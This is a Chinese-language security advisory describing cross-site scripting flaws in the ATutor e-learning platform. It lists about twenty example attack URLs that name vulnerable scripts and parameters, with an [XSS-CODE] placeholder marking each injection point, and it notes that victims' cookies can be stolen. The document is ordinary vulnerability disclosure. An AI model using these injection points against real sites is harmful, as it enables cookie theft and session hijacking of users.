漏洞名称： ATutor Input Validation Bugs in Several Scripts Permit Cross-Site Scripting Attacks
漏洞编号： ICST-CA-2005-097
漏洞说明： ATutor有数个scripts并未确实检查使用者提供的输入,远端使用者可以利用恶意的URL,在受害者的系 统执行script,并藉此存取受害者的cookies,并进行XSS攻击
底下是URL入侵范例,有些需要攻击者具有登入权限才能奏效
http://[target]/ATutor/browse.php?cat=0&show_course=1[XSS-CODE]
http://[target]/ATutor/contact.php?subject=[XSS-CODE]
http://[target]/atutor/conten t.php?cid=323[XSS-CODE]
http://[target]/atutor/inbox/send_message.php?l=1[XSS-CODE]
http://[target]/atutor/search.php?search=10[XSS-CODE] &words=kk&include=all&fin d_in=this&display_as=pages &search=Search
http://[target]/ATutor/search.php?search=1&words=aa[XSS-CODE] &include=one&find_in=all&display_as=summaries&search=Search #search_results
http://[target]/ATutor/search.php?search=1&words=aa &include=one[XSS-CODE]&find_in=all&display_as= summaries&search=Search#search_results
http://[ target]/ATutor/search.php?search=1&words=aa &include=one&find_in=all[XSS-CODE]&display_as= summaries&search=Search#search_results
http://[target]/ATutor/search.php?s earch=1&words=aa &include=one&find_in=all&display_as=[XSS-CODE] summaries&search=Search#search_results
http://[target]/ATutor/search.php?search=1&words=aa &include= one&find_in=all&display_as=summaries&search =[XSS-CODE]Search#search_results
http://[target]/ATutor/inbox/index.php?view=1[XSS-CODE]
http://[target]/ATutor/tile.ph p?query=yy &field=technicalFormat&submit=Search[XSS-CODE]
http://[target]/ATutor/tile.php?query=[XSS-CODE] &field=technicalFormat&submit=Search
http://[target]/AT utor/tile.php?query=yy& field=technicalFormat[XSS-CODE]&submit=Search
http://[target]/ATutor/forum/subscribe_forum.php? fid=2&us=1[XSS-CODE]
http://[target]/ATuto r/directory.php?roles%5B%5D=[XSS-CODE] 1&roles%5B%5D=2&roles%5B%5D=3&status=1&submit=Filter
http://[target]/ATutor/directory.php?roles%5B%5D=1&roles%5 B%5D=[XSS-CODE ]2&roles%5B%5D=3&status=1&submit=Filter
http://[target]/ATutor/directory.php?roles%5B%5D=1&roles%5B %5D=2&roles%5B%5D=3[XSS-CODE]&status=1&submit=Filter
http://[ta rget]/ATutor/directory.php?roles%5B%5D=1&roles%5B %5D=2&roles%5B%5D=3&status=1[XSS-CODE]&submit=Filter
http://[target]/ATutor/directory.php?roles%5B%5D=1&roles%5B %5 D=2&roles%5B%5D=3&status=1&submit=Filter[XSS-CODE]
http://[target]/ATutor/directory.php?roles%5B%5D=1&status= 2&reset_filter=Reset+Filter[XSS-CODE]
http://[target] /ATutor/directory.php?roles[]=1[XSS-CODE]


影响平台： Linux
Unix
Windows

影响状况： 远端使用者可以存取受害者的cookies,并有会进行XSS攻击

解决方案： 目前尚无确切解决方案,详情请见atutor.ca...

参考资料： SecurityTracker.com